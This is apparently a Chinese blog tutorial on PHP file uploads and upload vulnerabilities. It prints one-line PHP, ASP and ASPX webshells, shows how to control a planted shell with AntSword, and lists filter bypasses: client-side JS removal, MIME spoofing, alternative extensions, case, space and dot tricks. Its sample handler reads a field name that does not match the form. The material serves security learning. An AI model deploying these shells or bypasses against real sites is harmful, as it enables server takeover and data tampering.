PHP 实现文件上传功能

首先编写一个前端的提交页面

代码:

1
2
3
4
5
<form action="" method="post" enctype="multipart/form-data">
<label for="file">文件</label>
<input type="file" name="upload"><br>
<input type="submit" value="上传"><br>
</form>

后端代码编写

通过使用 PHP 的全局数组 $_FILE 可以接收从前端传过来的文件

  • 第一个参数是前端的 input name
  • 第二个参数是文件的属性
    • name 文件名
    • type 文件类型
    • size 文件大小
    • tmp_name 存储在服务器上临时副本的名字
    • error 文件上传导致的错误代码

创建上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
?>

文件上传漏洞的成因

网站要实现某些特定的功能会要求用户上传文件,如上传头像,简历等文件,由于对用户端上的数据过滤不严导致文件上传漏洞,黑客就会利用文件上传漏洞,上传一些木马文件等,对服务器进行一些敏感操作。

一句话木马

PHP:

1
<?php @eval($_REQUEST['pass']);?>

ASP:

1
<%eval request ("pass")%>

ASPX:

1
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

基本原理 – php

  • @ 用于屏蔽一些报错信息

  • eval() 函数用于将字符串当作 PHP 后端代码执行

  • 超全局变量 $_REQUEST[] 既可以接收get请求 post请求 也可以接收 cookie请求

使用 AntSword 连接 一句话木马

AntSword 安装

  • Arch Linux
1
paru -S antsword

连接

  • 打开 蚁剑 启动器,在空白处单击鼠标右键
  • 选择添加数据

  • URL 地址填上传的一句话木马文件的地址,密码输入 超全局变量 $_REQUEST[] 中的参数,然后点击测试连接,不出意外就可以连接到一句话木马了。

  • 点击添加,再双击打开网站的目录,如果权限够大就可以对网站文件随意删改,如果权限不够大则可以配合其他漏洞进行提权,然后在进行修改。

  • 在空白处点击鼠标右键

  • 点击 “在此处打开终端” 就可以进入命令行执行系统命令了

客户端验证绕过

简单来说就是在浏览器端进行过滤,用户可以自行修改

  • 按 F12 审计网页元素,将 函数删除

  • 禁用网页 JS

  • 先上传 常规文件,使用 Burp 抓包,再将后缀名修改为可执行的脚本文件

服务端验证绕过

Content-Type 绕过 (MIME 绕过)

有些服务端会对传入的文件类型头进行检测,如果是如果是图片,则允许上传,否则进行拦截

可以修改为:

1
2
Content-Type: image/png
Content-Type: image/jpeg

黑名单绕过

有些脚本会写黑名单限制,在上传文件时获取文件的后缀名,然后在黑名单列表中进行检测,如果文件后缀在黑名单中,则拦截上传的文件

绕过方法: 修改文件后缀

脚本语言 文件后缀
PHP php2 php3 php5 phtml
JSP jsp jspx jspf
ASP asa cer cdx
ASPX ascx ashx asac

大小写绕过

  • windows 系统对大小写不敏感
  • Linux 系统对大小写敏感

空格绕过

在windows系统下,命名文件时在文件名末尾加上空格默认会自动删除空格。

点号绕过

和空格绕过原理一样,命名文件时在文件名末尾加上点号,windows系统默认自动删除点号。

(未完待续….)